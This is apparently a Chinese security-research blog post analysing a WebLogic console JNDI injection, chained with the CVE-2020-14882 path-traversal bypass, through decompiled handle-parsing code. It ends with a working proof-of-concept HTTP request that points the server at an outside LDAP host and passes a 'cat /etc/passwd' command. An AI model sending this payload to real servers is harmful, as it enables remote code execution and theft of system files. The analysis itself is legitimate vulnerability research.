影响版本:
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞描述
JNDI 注入漏洞,需要登录控制台或者配合 CVE-2020-14882 未授权漏洞。
漏洞分析
先看 payload /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.43.43;23:1389/Basic/WeblogicEcho;AdminServer%22)
从 consolejndi.portal 开始看起,直接定位 JNDIBindingPageGeneral
/weblogic_jars/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/consolejndi.portal

继续跟进到 /PortalConfig/jndi/jndibinding.portlet
/weblogic_jars/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/PortalConfig/jndi/jndibinding.portlet

JNDIBindingAction 类应该就是触发漏洞的入口了
com.bea.console.actions.jndi.JNDIBindingAction

找到了 jndi 注入关键的 lookup 函数,参数为 context + “.” + bindName,前边有个 if 判断 serverMBean != null。
所以现在要jndi注入的话需要满足
context、bindName 可控
serverMBean != null ,serverMBean 由 serverName 控制即 serverName 可控
跟一下 context、bindName、serverName ,三个参数都是由 bindingHandle 获取的,bindingHandle.getContext() 、 bindingHandle.getBinding()、 bindingHandle.getServer()
1 2 3 4 5 6
| JndiBindingHandle bindingHandle = (JndiBindingHandle)this.getHandleContext(actionForm, request, "JNDIBinding"); ... DomainMBean domainMBean = MBeanUtils.getDomainMBean(); String context = bindingHandle.getContext(); String bindName = bindingHandle.getBinding(); String serverName = bindingHandle.getServer();
|


继续一路跟进到自身的 bindingHandle.getComponents() 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| private String[] getComponents() { if (this.components == null) { String serialized = this.getObjectIdentifier(); ArrayList componentList = new ArrayList(); StringBuffer currentComponent = new StringBuffer(); boolean lastWasSpecial = false;
for(int i = 0; i < serialized.length(); ++i) { char c = serialized.charAt(i); if (lastWasSpecial) { if (c == '0') { if (currentComponent == null) { throw new AssertionError("Handle component already null : '" + serialized + '"'); }
if (currentComponent.length() > 0) { throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'"); }
currentComponent = null; } else if (c == '\\') { if (currentComponent == null) { throw new AssertionError("Null handle followed by \\ : '" + serialized + "'"); }
currentComponent.append('\\'); } else { if (c != ';') { throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'"); }
if (currentComponent == null) { throw new AssertionError("Null handle followed by ; : '" + serialized + "'"); }
currentComponent.append(';'); }
lastWasSpecial = false; } else if (c == '\\') { if (currentComponent == null) { throw new AssertionError("Null handle followed by \\ : '" + serialized + "'"); }
lastWasSpecial = true; } else if (c == ';') { String component = currentComponent != null ? currentComponent.toString() : null; componentList.add(component); currentComponent = new StringBuffer(); } else { if (currentComponent == null) { throw new AssertionError("Null handle followed by a character : '" + serialized + "'"); }
currentComponent.append(c); } }
if (lastWasSpecial) { throw new AssertionError("Last character in handle is \\ :'" + serialized + "'"); }
String component = currentComponent != null ? currentComponent.toString() : null; componentList.add(component); this.components = (String[])((String[])componentList.toArray(new String[componentList.size()])); }
return this.components; }
|
大概逻辑就是将 bindingHandle 的 objectIdentifier 的用;
分割成数组 context、bindName 取数组的 第一位和第二位 serverName 取第三位。
bindingHandle 的 objectIdentifier 参数应该是在构造 bindingHandle 的时候赋值的,跟进 bindingHandle.getContext() 看下bindingHandle 是如何构造的。


一路跟进到 HandleUtils#getHandleContext(), 返回的 handle 是由 HandleUtils#getHandleContextFromRequest() 方法生成的,继续跟进

跟进 HandleUtils#handleFromQueryString() 方法

HandleUtils#handleFromQueryString() 方法会遍历 request 的参数,当参数名以 handle 结尾时,用 ConvertUtils.convert () 方法处理参数值, ConvertUtils.convert () 方法的作用是转换类型在这里可以将字符串转换为 handle 对象,我们可以按照 ConvertUtils.convert 的格式构造 bindingHandle ,而 bindingHandle 属于 JndiBindingHandle 类,objectIdentifier 是在构造函数里设置的

构造参数 xxxhandle=com.bea.console.handles.JndiBindingHandle(“context;bindName;serverName”) 就可以控制context、bindName、serverName 三个参数
前面说到需要让 serverMBean != null ,serverMBean 由 serverName 控制的,看 Payload 是让 serverName=AdminServer 就行 ,懒得去分析了。
最终带到 c.lookup 方法里的时候 context 和 bindName 之间会拼接一个 .
构造LDAP地址的时候得注意一下
1
| Object boundObj = c.lookup(context + "." + bindName);
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&xxx handle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.43.43;23:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1 Host: 127.0.0.1:7001 cmd: cat /etc/passwd User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: ADMINCONSOLESESSION=p3w1g8hdgnFLy9xL72JlMLn5nwPgG2CsKb1myGZghXJT2K7STmwR!2140432006 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0
|


才疏学浅,文笔垃圾,如有错误望师傅们斧正